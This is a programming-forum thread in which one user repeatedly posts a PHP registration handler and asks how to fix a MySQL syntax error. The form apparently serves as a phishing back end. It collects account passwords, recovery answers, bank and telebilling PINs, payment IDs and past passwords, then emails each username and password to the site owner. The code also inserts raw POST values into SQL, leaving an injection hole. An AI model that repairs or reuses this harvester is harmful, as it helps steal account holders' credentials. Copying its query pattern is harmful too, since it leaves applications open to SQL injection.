Jump to content

Error in syntax


Russia

Recommended Posts

I get this error:

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '173.54.108.137', 'October 2 2009' )' at line 33

 

Code:

<?php
$date2 = date("F j Y");
$ip = $_SERVER['REMOTE_ADDR'];
require("../inc/config.php");
$sql="INSERT INTO `mod` (
Username, 
Password, 
Recov1, 
Recov2, 
Recov3, 
Recov4, 
Recov5, 
TransactionID, 
AgreementID, 
CreditCardSubscriptionMonth, 
CreditCardSubscriptionYear, 
TeleBillingPin, 
PayByCashMonth,
PayByCashYear,
PayByCashLength,
FirstPassword,
SecondPassword,
ThirdPassword,
PostCode,
Email,
BankPin,
BankPinConfirm,
AccountCreationMonth,
AccountCreationYear,
Isp,
MovedMonth,
MovedYear,
Message,
Ip, 
AddedDate
)
VALUES('
'$_POST[username]',
'$_POST[password]',
'$_POST[recovery1]',
'$_POST[recovery2]',
'$_POST[recovery3]',
'$_POST[recovery4]',
'$_POST[recovery5]',
'$_POST[transactionid]',
'$_POST[futurepayid]',
'$_POST[earliestccmonth]',
'$_POST[earliestccyear]',
'$_POST[telebillingpin]',
'$_POST[earliestpbcmonth]',
'$_POST[earliestpbcyear]',
'$_POST[pbclength]',
'$_POST[password1]',
'$_POST[password2]',
'$_POST[password3]',
'$_POST[postcode]',
'$_POST[email]',
'$_POST[newpassword1]',
'$_POST[newpassword2]',
'$_POST[creationmonth]',
'$_POST[creationyear]',
'$_POST[isp]',
'$_POST[movedmonth]',
'$_POST[movedyear]',
'$_POST[othercomments]',
'$ip',
'$date2'
)";
if (!mysql_query($sql))
{
die('Error: ' . mysql_error());
}
echo "Thank You for registering.";
$result = mysql_query("SELECT email FROM members WHERE id = '1'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);
$to = $row[0];
mysql_close();
$subject = "New Registered User";
$from = "myself";
$message = "A new user has signed up and has been added to the database
Username: $_POST[username] 
Password: $_POST[password]
IP Address: $ip
Date: $date2

";
$headers = "From: $to";
$sent = mail($to, $subject, $message, $headers) ;
?> 

 

Link to comment
https://forums.phpfreaks.com/topic/176273-error-in-syntax/
Share on other sites

I did that, the updated code is now:

 

<?php
$date2 = date("F j Y");
$ip = $_SERVER['REMOTE_ADDR'];
require("../inc/config.php");
$sql="INSERT INTO `mod` (
Username, 
Password, 
Recov1, 
Recov2, 
Recov3, 
Recov4, 
Recov5, 
TransactionID, 
AgreementID, 
CreditCardSubscriptionMonth, 
CreditCardSubscriptionYear, 
TeleBillingPin, 
PayByCashMonth,
PayByCashYear,
PayByCashLength,
FirstPassword,
SecondPassword,
ThirdPassword,
PostCode,
Email,
BankPin,
BankPinConfirm,
AccountCreationMonth,
AccountCreationYear,
Isp,
MovedMonth,
MovedYear,
Message,
Ip, 
AddedDate
)
VALUES('
'$_POST[username]',
'$_POST[password]',
'$_POST[recovery1]',
'$_POST[recovery2]',
'$_POST[recovery3]',
'$_POST[recovery4]',
'$_POST[recovery5]',
'$_POST[transactionid]',
'$_POST[futurepayid]',
'$_POST[earliestccmonth]',
'$_POST[earliestccyear]',
'$_POST[telebillingpin]',
'$_POST[earliestpbcmonth]',
'$_POST[earliestpbcyear]',
'$_POST[pbclength]',
'$_POST[password1]',
'$_POST[password2]',
'$_POST[password3]',
'$_POST[postcode]',
'$_POST[email]',
'$_POST[newpassword1]',
'$_POST[newpassword2]',
'$_POST[creationmonth]',
'$_POST[creationyear]',
'$_POST[isp]',
'$_POST[movedmonth]',
'$_POST[movedyear]',
'$_POST[othercomments]',
'$ip',
'$date2'
)";
if (!mysql_query($sql))
{
die('Error ' . mysql_error() . ' in query ' . $sql);
}
echo "Thank You for registering.";
$result = mysql_query("SELECT email FROM members WHERE id = '1'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);
$to = $row[0];
mysql_close();
$subject = "New Registered User";
$from = "myself";
$message = "A new user has signed up and has been added to the database
Username: $_POST[username] 
Password: $_POST[password]
IP Address: $ip
Date: $date2

";
$headers = "From: $to";
$sent = mail($to, $subject, $message, $headers) ;
?> 

 

and error:

 

Error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '173.54.108.137', 'October 2 2009' )' at line 33 in query INSERT INTO `mod` ( Username, Password, Recov1, Recov2, Recov3, Recov4, Recov5, TransactionID, AgreementID, CreditCardSubscriptionMonth, CreditCardSubscriptionYear, TeleBillingPin, PayByCashMonth, PayByCashYear, PayByCashLength, FirstPassword, SecondPassword, ThirdPassword, PostCode, Email, BankPin, BankPinConfirm, AccountCreationMonth, AccountCreationYear, Isp, MovedMonth, MovedYear, Message, Ip, AddedDate ) VALUES(' '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '173.54.108.137', 'October 2 2009' )

Link to comment
https://forums.phpfreaks.com/topic/176273-error-in-syntax/#findComment-928993
Share on other sites

I did that, but still shows the same error:

 

Updated code:

 

<?php
$date2 = date("F j Y");
$ip = $_SERVER['REMOTE_ADDR'];
require("../inc/config.php");
$sql="INSERT INTO `mod` (
Username, 
Password, 
Recov1, 
Recov2, 
Recov3, 
Recov4, 
Recov5, 
TransactionID, 
AgreementID, 
CreditCardSubscriptionMonth, 
CreditCardSubscriptionYear, 
TeleBillingPin, 
PayByCashMonth,
PayByCashYear,
PayByCashLength,
FirstPassword,
SecondPassword,
ThirdPassword,
PostCode,
Email,
BankPin,
BankPinConfirm,
AccountCreationMonth,
AccountCreationYear,
Isp,
MovedMonth,
MovedYear,
Message,
Ip, 
AddedDate
)
VALUES(
'$_POST[username]',
'$_POST[password]',
'$_POST[recovery1]',
'$_POST[recovery2]',
'$_POST[recovery3]',
'$_POST[recovery4]',
'$_POST[recovery5]',
'$_POST[transactionid]',
'$_POST[futurepayid]',
'$_POST[earliestccmonth]',
'$_POST[earliestccyear]',
'$_POST[telebillingpin]',
'$_POST[earliestpbcmonth]',
'$_POST[earliestpbcyear]',
'$_POST[pbclength]',
'$_POST[password1]',
'$_POST[password2]',
'$_POST[password3]',
'$_POST[postcode]',
'$_POST[email]',
'$_POST[newpassword1]',
'$_POST[newpassword2]',
'$_POST[creationmonth]',
'$_POST[creationyear]',
'$_POST[isp]',
'$_POST[movedmonth]',
'$_POST[movedyear]',
'$_POST[othercomments]',
'$ip',
'$date2'
)";
if (!mysql_query($sql));
{
die('Error ' . mysql_error() . ' in query ' . $sql);
}
echo "Thank You for registering.";
$result = mysql_query("SELECT email FROM members WHERE id = '1'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);
$to = $row[0];
mysql_close();
$subject = "New Registered User";
$from = "myself";
$message = "A new user has signed up and has been added to the database
Username: $_POST[username] 
Password: $_POST[password]
IP Address: $ip
Date: $date2

";
$headers = "From: $to";
$sent = mail($to, $subject, $message, $headers) ;
?> 

Link to comment
https://forums.phpfreaks.com/topic/176273-error-in-syntax/#findComment-928999
Share on other sites

Okay so how do I fix it?

 

Okay so how do I fix the error? What do I change?

 

This is my current code:

<?php
$date2 = date("F j Y");
$ip = $_SERVER['REMOTE_ADDR'];
require("../inc/config.php");
$sql="INSERT INTO mod (
Username, 
Password, 
Recov1, 
Recov2, 
Recov3, 
Recov4, 
Recov5, 
TransactionID, 
AgreementID, 
CreditCardSubscriptionMonth, 
CreditCardSubscriptionYear, 
TeleBillingPin, 
PayByCashMonth,
PayByCashYear,
PayByCashLength,
FirstPassword,
SecondPassword,
ThirdPassword,
PostCode,
Email,
BankPin,
BankPinConfirm,
AccountCreationMonth,
AccountCreationYear,
Isp,
MovedMonth,
MovedYear,
Message,
Ip, 
AddedDate
)
VALUES(
'$_POST[username]',
'$_POST[password]',
'$_POST[recovery1]',
'$_POST[recovery2]',
'$_POST[recovery3]',
'$_POST[recovery4]',
'$_POST[recovery5]',
'$_POST[transactionid]',
'$_POST[futurepayid]',
'$_POST[earliestccmonth]',
'$_POST[earliestccyear]',
'$_POST[telebillingpin]',
'$_POST[earliestpbcmonth]',
'$_POST[earliestpbcyear]',
'$_POST[pbclength]',
'$_POST[password1]',
'$_POST[password2]',
'$_POST[password3]',
'$_POST[postcode]',
'$_POST[email]',
'$_POST[newpassword1]',
'$_POST[newpassword2]',
'$_POST[creationmonth]',
'$_POST[creationyear]',
'$_POST[isp]',
'$_POST[movedmonth]',
'$_POST[movedyear]',
'$_POST[othercomments]',
'$ip',
'$date2'
)";
if (!mysql_query($sql));
{
die('Error ' . mysql_error() . ' in query ' . $sql);
}
echo "Thank You for registering.";
$result = mysql_query("SELECT email FROM members WHERE id = '1'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);
$to = $row[0];
mysql_close();
$subject = "New Registered User";
$from = "myself";
$message = "A new user has signed up and has been added to the database
Username: $_POST[username] 
Password: $_POST[password]
IP Address: $ip
Date: $date2

";
$headers = "From: $to";
$sent = mail($to, $subject, $message, $headers) ;
?> 

 

And this is my error:

Error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'mod ( Username, Password, Recov1, Recov2, Recov3, Recov4, Recov5, Transac' at line 1 in query INSERT INTO mod ( Username, Password, Recov1, Recov2, Recov3, Recov4, Recov5, TransactionID, AgreementID, CreditCardSubscriptionMonth, CreditCardSubscriptionYear, TeleBillingPin, PayByCashMonth, PayByCashYear, PayByCashLength, FirstPassword, SecondPassword, ThirdPassword, PostCode, Email, BankPin, BankPinConfirm, AccountCreationMonth, AccountCreationYear, Isp, MovedMonth, MovedYear, Message, Ip, AddedDate ) VALUES( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '173.54.108.137', 'October 2 2009' )

Link to comment
https://forums.phpfreaks.com/topic/176273-error-in-syntax/#findComment-929416
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.